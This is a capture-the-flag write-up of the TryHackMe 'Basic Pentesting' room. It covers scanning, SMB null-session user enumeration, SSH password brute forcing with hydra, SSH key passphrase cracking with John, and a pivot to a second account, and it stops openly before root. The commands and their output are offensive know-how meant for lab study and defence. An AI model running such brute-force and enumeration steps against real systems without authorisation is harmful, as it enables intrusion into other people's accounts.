Basic Pentesting — TryHackMe

Platform: TryHackMe · Difficulty: Easy · Category: SMB Enumeration / Credential Brute Force / SSH Key Cracking

Note: This one stops short of root. The engagement got as far as a second user account and a password file that's almost certainly the next pivot — but the final escalation and root flag weren't captured in the source notes this article is drawn from. Writing it up honestly rather than inventing an ending.

Introduction

Basic Pentesting lives up to its name by covering the fundamentals in one tidy package: SMB enumeration, a web directory leak, password brute forcing, and SSH key cracking. The developer notes left sitting in a public /development/ folder are almost too on-the-nose — one developer explicitly bragging about cracking a colleague's password while reminding them to follow the password policy they themselves are violating. It's the kind of irony that makes for a memorable teaching box: the security audit that should have fixed the problem became the paper trail documenting it.

Recon

rustscan -a 10.49.180.112 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV

A wide attack surface for an "easy" box — SMB plus two separate web services beyond the main HTTP port. Tomcat 9.0.7 and the AJP protocol both got flagged mentally as backup options if the primary path stalled. It didn't, so neither was needed in the end.

feroxbuster -u http://10.49.180.112/ \
  -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
  -x php,xt,html

301  /development
200  /development/dev.txt
200  /development/j.txt

The homepage itself just shows "Undergoing maintenance" — the real content lives in /development/. Combining dev.txt and j.txt into the actual developer changelog:

2018-04-23: I've been messing with that struts stuff... using version 2.5.12 -K
2018-04-22: SMB has been configured. -K
2018-04-21: I got Apache set up. Will put in our content later. -J

For J:
I've been auditing the contents of /etc/shadow to make sure we don't have
any weak credentials, and I was able to crack your hash really easily.
You know our password policy, so please follow it? Change that password ASAP.
-K

Three things worth noting here: SMB is confirmed configured, a Struts installation gets mentioned (potentially CVE-relevant on other boxes, though it didn't end up mattering here), and most importantly — K is directly telling J that their password is weak and crackable. That's effectively a hint that brute force is going to work on at least one account.

Foothold

enum4linux 10.49.180.112

Key findings:

[+] Server allows sessions using username '', password ''   # null session
[+] Got OS info: Samba Server 4.15.13-Ubuntu

Users found via RID cycling:
  Unix User\kay     (Local User)
  Unix User\jan     (Local User)
  Unix User\ubuntu  (Local User)

Three usernames out of a null SMB session via RID cycling. kay and jan map directly onto the K and J initials from the developer notes — which turns the whole brute-force targeting decision into a non-decision.

The dev note specifically said J's password was weak, so that's where I started:

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.49.180.112

[22][ssh] host: 10.49.180.112   login: jan   password: armando

Cracked within minutes, exactly as the developer note predicted it would be.

Shell / Access

ssh [email protected]
# Password: armando

jan@ip-10-49-180-112:~$

jan's own home directory is sparse, just a permission-denied .lesshst file. The real value turns out to be in checking what other home directories are accessible:

ls /home
# jan  kay  ubuntu

ls /home/kay/
# pass.bak    (permission denied to read directly)

cd /home/kay/.ssh
ls
# authorized_keys  id_rsa  id_rsa.pub

kay's SSH key pair is sitting in a directory jan can traverse into and read — a permissions misconfiguration in its own right. id_rsa is encrypted with a passphrase (Proc-Type: 4,ENCRYPTED).

ssh2john id_rsa > key.hash
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash

beeswax   (id_rsa)

Passphrase: beeswax, cracked instantly. SSH login as kay using the now-usable key:

ssh [email protected] -i id_rsa
# Enter passphrase: beeswax

kay@ip-10-49-180-112:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

The irony lands fully right here — pass.bak contains a password that's explicitly named after the password policy it follows, in stark contrast to jan's weak armando. This is almost certainly a credential meant for further escalation, consistent with the developer note's whole emphasis on policy compliance. This is where the notes I'm working from stop — the engagement was left here, with pass.bak in hand and the final privilege escalation step not yet carried out.

Exploitation — The Chain So Far

1. Feroxbuster → /development/ developer notes hinting at weak credentials for jan
2. enum4linux → SMB null session → usernames kay, jan, ubuntu
3. Hydra → jan:armando cracked from rockyou.txt
4. SSH as jan → traversed into kay's readable .ssh/ directory
5. ssh2john + John → SSH key passphrase beeswax cracked
6. SSH as kay (via decrypted key) → pass.bak → strong credential, next step unverified

Rabbit Holes

Apache Tomcat / AJP on port 8080/8009. Both Tomcat 9.0.7 and the AJP protocol got flagged in the initial scan as potential attack surfaces — Tomcat manager default credentials and AJP file-read vulnerabilities like Ghostcat (CVE-2020-1938) were on the list of things to try. Neither got investigated further once the SMB/Hydra path proved faster. The developer note pointing directly at weak SSH credentials made that the obvious priority, and it paid off immediately.

The Struts mention in the dev notes. The changelog mentions Apache Struts 2.5.12 being tested as a REST example app. Struts has a notorious history of RCE vulnerabilities — CVE-2017-5638, the one behind the Equifax breach, among others. No Struts application actually turned up running on any scanned port during this engagement. Might be a red herring left over from an earlier box revision, or it's pointing at a path that just wasn't discovered yet.

Flags

Flag retrieval wasn't completed in the notes this is drawn from — access was established up through user kay and the pass.bak credential discovery. Root escalation and the final flag capture remain outstanding.

Mitigations

Key Takeaway

A security audit that identifies a weak password but doesn't enforce remediation, combined with home directory permissions that let other local users traverse into .ssh/, creates a domino effect — one weak credential becomes a pivot straight into a second account's private key. Defence in depth means actually fixing the permissions structure, not just telling someone to change their password and hoping they comply.

Room: TryHackMe — Basic Pentesting